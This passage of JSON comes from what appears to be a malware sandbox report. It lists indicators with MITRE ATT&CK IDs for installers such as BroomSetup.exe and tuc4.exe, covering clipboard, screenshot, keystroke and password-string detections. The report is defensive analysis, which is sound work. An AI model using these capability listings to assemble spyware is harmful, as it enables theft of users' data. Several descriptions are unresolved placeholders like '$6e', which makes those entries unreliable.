\"00000000-00005060.00000000.109244.004B2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-730","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve the valid logical drives on the computer","description":"Observed import api \"GetLogicalDriveStringsW\" which can be \"used to retrieve a list of available drives (logical drives) in the system\" [Source: BroomSetup.exe]\n Observed import api \"GetLogicalDriveStringsW\" which can be \"used to retrieve a list of available drives (logical drives) in the system\" [Source: aviformattertool.exe]\n Observed import api \"GetLogicalDriveStringsW\" which can be \"used to retrieve a list of available drives (logical drives) in the system\" [Source: is-F1GN9.tmp]","origin":"Static Parser","mitre_attack_id":"T1083","relevance":5,"id":"static-192","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API possibly used to take screenshots","description":"$64","origin":"API Call","mitre_attack_id":"T1113","relevance":3,"id":"api-105","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$65","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"InstallSetup9.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"288c47bbc1871b439df19ff4df68f076.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"tuc4.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"BroomSetup.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"tuc4.tmp\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"aviformattertool.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"net1.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"cmd.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"tuc4.tmp\" called \"GetComputerNameA\" (UID: 00000000-00001444)\n \"tuc4.tmp\" called \"GetComputerNameW\" (UID: 00000000-00001444)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"090000000010000000000100fffffeff0300000002000000d8210000000001000600004f\"}\n \"BroomSetup.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"090000000010000000000100fffffeff0300000002000000d8210000000001000600004f\"}\n \"tuc4.tmp\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"090000000010000000000100fffffeff0300000002000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"tuc4.tmp\" called \"GetUserNameA\" (UID: 00000000-00001444)","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"file/memory contains long string with (Indicator: \"aes\"; File: \"is-F1GN9.tmp\")\n file/memory contains long string with (Indicator: \"aes128\"; File: \"is-F1GN9.tmp\")\n file/memory contains long string with (Indicator: \"aes192\"; File: \"is-F1GN9.tmp\")\n file/memory contains long string with (Indicator: \"aes256\"; File: \"is-F1GN9.tmp\")\n Found string \"IPF_Base64InkSerializedFormatWWW\" (Indicator: \"base64\"; Source: \"00000000-00001444.00000000.109009.72627000.00000002.mdmp\")\n Found string \"IPF_Base64GIFWWWh\" (Indicator: \"base64\"; Source: \"00000000-00001444.00000000.109009.72627000.00000002.mdmp\")\n Found string \"Specifies that ink be persisted by encoding the ISF as a base64 stream.WWWi\" (Indicator: \"base64\"; Source: \"00000000-00001444.00000000.109009.72627000.00000002.mdmp\")\n Found string \"Specifies that ink be persisted by using a base64 encoded fortified GIF.WW1\" (Indicator: \"base64\"; Source: \"00000000-00001444.00000000.109009.72627000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to access clipboard data (API string)","description":"Found reference to API \"OpenClipboard\" (Indicator: \"OpenClipboard\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")\n Found reference to API \"GetClipboardData\" (Indicator: \"GetClipboardData\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")\n Found reference to API \"GetClipboardData\" (Indicator: \"GetClipboardData\"; Source: \"00000000-00005060.00000000.109244.004B2000.00000002.mdmp\")\n Found reference to API \"OpenClipboard\" (Indicator: \"OpenClipboard\"; Source: \"00000000-00005060.00000000.109244.004B2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-188","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to capture screen (API string)","description":"$66","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to create/read/set mailslotinfo (API string)","description":"Found reference to API \"GetMailslotInfo\" (Indicator: \"GetMailslotInfo\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-110","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to detect sandbox (imports API)","description":"Found GetCursorPos() in an import section (Source: BroomSetup.exe)\n Found GetCursorPos() in an import section (Source: aviformattertool.exe)\n Found GetCursorPos() in an import section (Source: is-8EM8Q.tmp)\n Found GetCursorPos() in an import section (Source: tuc4.tmp)","origin":"Static Parser","mitre_attack_id":"T1497","relevance":1,"id":"static-132","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to determine disk drive type (API string)","description":"Found reference to API \"GetDriveTypeW\" (Indicator: \"GetDriveType\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")\n Found reference to API \"GetDriveTypeA\" (Indicator: \"GetDriveType\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")\n Found reference to API \"GetDriveTypeA\" (Indicator: \"GetDriveType\"; Source: \"00000000-00001444.00000000.109009.0049A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-80","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"$67","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$68","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate system network resources (API string)","description":"Found reference to API \"WNetOpenEnumA\" (Indicator: \"WNetOpenEnum\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")\n Found reference to API \"WNetOpenEnumA\" (Indicator: \"WNetOpenEnum\"; Source: \"00000000-00001444.00000000.109009.0049A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1135","relevance":1,"id":"string-313","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to find logical drives of the machine (API string)","description":"Found reference to API \"GetLogicalDriveStringsW\" (Indicator: \"GetLogicalDriveStrings\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")\n Found reference to API \"GetLogicalDrives\" (Indicator: \"GetLogicalDrives\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")\n Found reference to API \"GetLogicalDrives\" (Indicator: \"GetLogicalDrives\"; Source: \"00000000-00001444.00000000.109009.0049A000.00000004.mdmp\")\n Found reference to API \"GetLogicalDriveStringsW\" (Indicator: \"GetLogicalDriveStrings\"; Source: \"00000000-00005060.00000000.109244.004B2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-84","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to query registry keys (API string)","description":"$69","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00001444.00000000.109009.0049A000.00000004.mdmp, 00000000-00001444.00000000.109009.004A0000.00000002.mdmp\")\n Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00005060.00000000.109244.004B2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"$6a","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"file/memory contains long string with (Indicator: \"GetProcAddress\"; File: \"is-SM0SU.tmp\")\n file/memory contains long string with (Indicator: \"GetProcAddress\"; File: \"is-IEB6T.tmp\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"00000000-00001444.00000000.109009.00401000.00000020.mdmp\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00001444.00000000.109009.00401000.00000020.mdmp, 00000000-00001444.00000000.109009.0049A000.00000004.mdmp, 00000000-00001444.00000000.109009.004A0000.00000002.mdmp, 00000000-00001444.00000000.109009.72627000.00000002.mdmp\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00005060.00000000.109244.004B2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve data about the local computer (API string)","description":"Found reference to API \"InterlockedExchange\" (Indicator: \"InterlockedExchange\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")\n Found reference to API \"InterlockedExchangeAdd\" (Indicator: \"InterlockedExchange\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")\n Found reference to API \"InterlockedExchange\" (Indicator: \"InterlockedExchange\"; Source: \"00000000-00001444.00000000.109009.0049A000.00000004.mdmp\")\n Found reference to API \"InterlockedExchangeAdd\" (Indicator: \"InterlockedExchange\"; Source: \"00000000-00005060.00000000.109244.004B2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":3,"id":"string-115","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$6b","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve files based on search patterns","description":"Found string \"Where should [name] be installed?\" (Indicator: \"where \"; Source: \"00000000-00001444.00000000.109009.04858000.00000004.mdmp, 00000000-00001444.00000000.109009.04870000.00000004.mdmp, 00000000-00001444.00000001.110931.04858000.00000004.mdmp, 00000000-00001444.00000001.110931.04870000.00000004.mdmp\")\n Found string \"Where should Setup place the program's shortcuts?\" (Indicator: \"where \"; Source: \"00000000-00001444.00000000.109009.04858000.00000004.mdmp, 00000000-00001444.00000000.109009.04870000.00000004.mdmp, 00000000-00001444.00000001.110931.04858000.00000004.mdmp, 00000000-00001444.00000001.110931.04870000.00000004.mdmp\")\n Found string \"Where should AVI formatter tool be installed?\" (Indicator: \"where \"; Source: \"00000000-00001444.00000000.109009.04870000.00000004.mdmp, 00000000-00001444.00000001.110931.04870000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-484","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about MS-DOS device names (API string)","description":"Found reference to API \"QueryDosDeviceW\" (Indicator: \"QueryDosDevice\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-227","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about pressed keystrokes (API string)","description":"$6c","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-88","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","description":"Found reference to API \"function GetComputerNameString: String;\" (Indicator: \"GetComputerName\"; File: \"00000000-00001444.00000000.109009.00401000.00000020.mdmp\")\n Found reference to API \"GetComputerNameW\" (Indicator: \"GetComputerName\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")\n Found reference to API \"GetComputerNameA\" (Indicator: \"GetComputerName\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")\n Found reference to API \"function GetComputerNameString: String;\" (Indicator: \"GetComputerName\"; Source: \"00000000-00001444.00000000.109009.00401000.00000020.mdmp\")\n Found reference to API \"GetComputerNameA\" (Indicator: \"GetComputerName\"; Source: \"00000000-00001444.00000000.109009.0049A000.00000004.mdmp\")\n Found reference to API \"GetComputerNameString\" (Indicator: \"GetComputerName\"; Source: \"00000000-00001444.00000000.109009.04870000.00000004.mdmp, 00000000-00001444.00000001.110931.04870000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-122","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")\n Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00001444.00000000.109009.0049A000.00000004.mdmp, 00000000-00001444.00000000.109009.72627000.00000002.mdmp\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00001444.00000000.109009.72627000.00000002.mdmp\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00005060.00000000.109244.004B2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"Found reference to API \"GetEnvironmentVariableW\" (Indicator: \"GetEnvironmentVariable\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")\n Found reference to API \"GetEnvironmentVariableA\" (Indicator: \"GetEnvironmentVariable\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")\n Found reference to API \"GetEnvironmentVariableA\" (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00001444.00000000.109009.0049A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-107","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the specified system metric or system configuration setting (API string)","description":"Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00001444.00000000.109009.0049A000.00000004.mdmp, 00000000-00001444.00000000.109009.04858000.00000004.mdmp, 00000000-00001444.00000000.109009.04870000.00000004.mdmp, 00000000-00001444.00000000.109009.72627000.00000002.mdmp, 00000000-00001444.00000001.110931.04858000.00000004.mdmp, 00000000-00001444.00000001.110931.04870000.00000004.mdmp\")\n Found reference to API \"71798867909,7264,111,,GetSystemMetrics,user32.dll,\"00:28:48.437\",RX=0,PX=0\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00001444.00000001.110931.028F0000.00000004.mdmp\")\n Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00005060.00000000.109244.004B2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-131","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00001444.00000000.109009.0049A000.00000004.mdmp, 00000000-00001444.00000000.109009.04858000.00000004.mdmp, 00000000-00001444.00000000.109009.04870000.00000004.mdmp, 00000000-00001444.00000000.109009.72627000.00000002.mdmp, 00000000-00001444.00000001.110931.04858000.00000004.mdmp, 00000000-00001444.00000001.110931.04870000.00000004.mdmp\")\n Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount\"; Source: \"00000000-00001444.00000000.109009.72627000.00000002.mdmp\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00005060.00000000.109244.004B2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve token privileges information (API string)","description":"Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; File: \"00000000-00001444.00000000.109009.00401000.00000020.mdmp\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00001444.00000000.109009.00401000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-437","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve usernames and/or user information (API string)","description":"$6d","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieves the class object from a DLL object handler (API string)","description":"Found reference to API \"NdrDllGetClassObject\" (Indicator: \"DllGetClassObject\"; Source: \"00000000-00001444.00000000.109009.72627000.00000002.mdmp\")\n Found reference to API \"DllGetClassObject\" (Indicator: \"DllGetClassObject\"; Source: \"00000000-00001444.00000001.110931.725C1000.00000020.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-82","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"$6e","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found registry key string for installed applications","description":"$6f","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-96","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Imports GetCommandLine API","description":"$70","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-88","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Imports mailslot-related APIs","description":"Observed import api \"GetMailslotInfo\" which can \"retrieve information about the specified mailslot\" [Source: 288c47bbc1871b439df19ff4df68f076.exe]","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-83","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Reads system-defined device setup information from registry","description":"\"BroomSetup.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0002\"; Key: \"PRUNINGMODE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-106","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"References to WMI query strings used for information discovery","description":"Found string \"Select * from Win32_ComputerSystem\" (Indicator: \" Win32_ComputerSystem\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-507","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"System Security","name":"Able to retrieve/open a process (API string)","description":"file/memory contains long string with (Indicator: \"OpenProcess\"; File: \"is-VEAGR.tmp\")\n Found string \"OpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00008776-00000C2B-702874624\")\n Found string \"OpenProcess\" (Indicator: \"OpenProcess\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")\n Found string \"OpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00001444.00000000.109009.0049A000.00000004.mdmp\")\n Found string \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"00000000-00001444.00000000.109009.0049A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-729","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"System Security","name":"Calls an API used to open a process handle","description":"Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: BroomSetup.exe]\n Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: tuc4.exe]\n Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: InstallSetup9.exe]\n Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: is-8EM8Q.tmp]\n Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: tuc4.tmp]\n Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: is-F1GN9.tmp]\n Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: is-VEAGR.tmp]","origin":"Static Parser","mitre_attack_id":"T1489","relevance":5,"id":"static-191","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"Found string \":\\WINDOWS\\system32\\DRIVERS\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00001444.00000000.109009.028F0000.00000004.mdmp, 00000000-00001444.00000001.110931.028F0000.00000004.mdmp\")\n Found string \":\\WINDOWS\\system32\\DriverStore\\FileRepository\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00001444.00000000.109009.028F0000.00000004.mdmp, 00000000-00001444.00000001.110931.028F0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"$71","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete registry key/value (API string)","description":"$72","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"System Security","name":"Contains ability to format disks","description":"file/memory contains long string with (Indicator: \"format \"; File: \"is-OH6C9.tmp\")","origin":"File/Memory","mitre_attack_id":"T1561.001","relevance":1,"id":"string-407","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"System Security","name":"Contains ability to hook/unhook windows functions (API string)","description":"$73","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-91","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"$74","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify file attributes (API string)","description":"Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")\n Found reference to API 